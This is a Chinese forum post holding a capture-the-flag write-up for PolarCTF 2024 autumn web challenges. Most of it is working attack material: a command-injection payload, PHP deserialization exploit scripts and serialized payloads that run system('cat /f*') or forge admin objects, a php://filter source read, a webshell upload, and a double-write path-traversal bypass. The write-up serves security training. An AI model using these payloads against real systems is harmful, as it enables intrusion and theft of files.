首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微博
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com ToB IT社区-企服评测·应用市场
»
论坛
›
数据库
›
SQL-Server
›
【Web】PolarCTF2024秋季个人寻衅赛wp
返回列表
发新帖
【Web】PolarCTF2024秋季个人寻衅赛wp
[复制链接]
发表于 2025-12-3 01:00:18
|
显示全部楼层
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
EZ_Host
一眼丁真下令注入
payload:
?host=127.0.0.1;cat+f*
复制
代码
序列一下
exp:
<?php
class Polar{
public $lt;
public $b;
}
$p=new Polar();
$p->lt="system";
$p->b="tac /f*";
echo serialize($p);
复制
代码
payload:
x=O:5:"Polar":2:{s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}
复制
代码
vm50给你flag
先读waf源码
?file=php://filter/convert.base64-encode/resource=funs.php
复制代码
base64解码
<?php
include '
[email protected]
';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}
class A
{
private $a;
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}
class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
复制代码
exp:
<?php
class A
{
public $a;
}
class B
{
public $b;
}
class C{
public $c;
}
//A#__destruct -> B#__toString -> C#__get
$c=new C();
$b=new B();
$a=new A();
$c->c=array("vm50"=>"flag");
$b->b=array("kfc"=>$c);
$a->a=$b;
echo serialize($a);
复制代码
payload:
O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
复制代码
Deserialize
访问./hidden
访问./hidden/hidden.php
exp
<?php
class Token {
public $id;
public $secret;
}
class User {
public $name;
public $isAdmin = false;
public $token;
}
class Product {
public $productName;
public $price;
}
$c=new Product();
$b=new Token();
$a=new User();
$c->productName='1';
$c->price=1;
$b->product=$c;
$b->id=1;
$a->name="";
$a->token=$b;
$a->isAdmin=true;
echo serialize($a);
复制代码
payload:
./hidden/hidden.php?data=O:4:"User":3:{s:4:"name";s:5:"";s:7:"isAdmin";b:1;s:5:"token";O:5:"Token":3:{s:2:"id";i:1;s:6:"secret";N;s:7:"product";O:7:"Product":2:{s:11:"productName";s:1:"1";s:5:"price";i:1;}}}
复制代码
传马
上传一个png文件抓包改php后缀
访问传的马,RCE
bllbl_ser1
一开始给了php代码
exp:
<?php
class bllbl
{
public $qiang;//我的强
}
class bllnbnl{
public $er;//我的儿
}
$b=new bllbl();
$a=new bllnbnl();
$a->er="system('cat /f*');";
$b->qiang=$a;
echo serialize($b);
复制代码
payload:
?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:18:"system('cat /f*');";}}
复制代码
投喂
exp:
<?php
class User
{
public $username;
public $is_admin;
}
$a=new User();
$a->is_admin=true;
echo serialize($a);
复制代码
payload:
data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}
复制代码
raoyiquan
payload:
?c.md=env
复制代码
读情况变量偷鸡乐成
但交了不对()
老诚实实绕吧
payload:
?c.md=tac /flag.php
复制代码
1ncIud3
扫出来
page=flag对应了./flag.php,文件后缀写死了是php
颠末测试发现标题会将…/更换为空,双写绕过可以目次穿越
?page=..././..././..././..././..././..././..././..././f14g
复制代码
回复
使用道具
举报
返回列表
浏览过的版块
Oracle
物联网
SAAS
人工智能
数据仓库与分析
.Net
前端开发
开源技术
程序人生
DevOps与敏捷开发
宝塔山
+ 我要发帖
登录后关闭弹窗
登录参与点评抽奖 加入IT实名职场社区
去登录
微信订阅号
微信服务号
微信客服(加群)
H5
小程序
快速回复
返回顶部
返回列表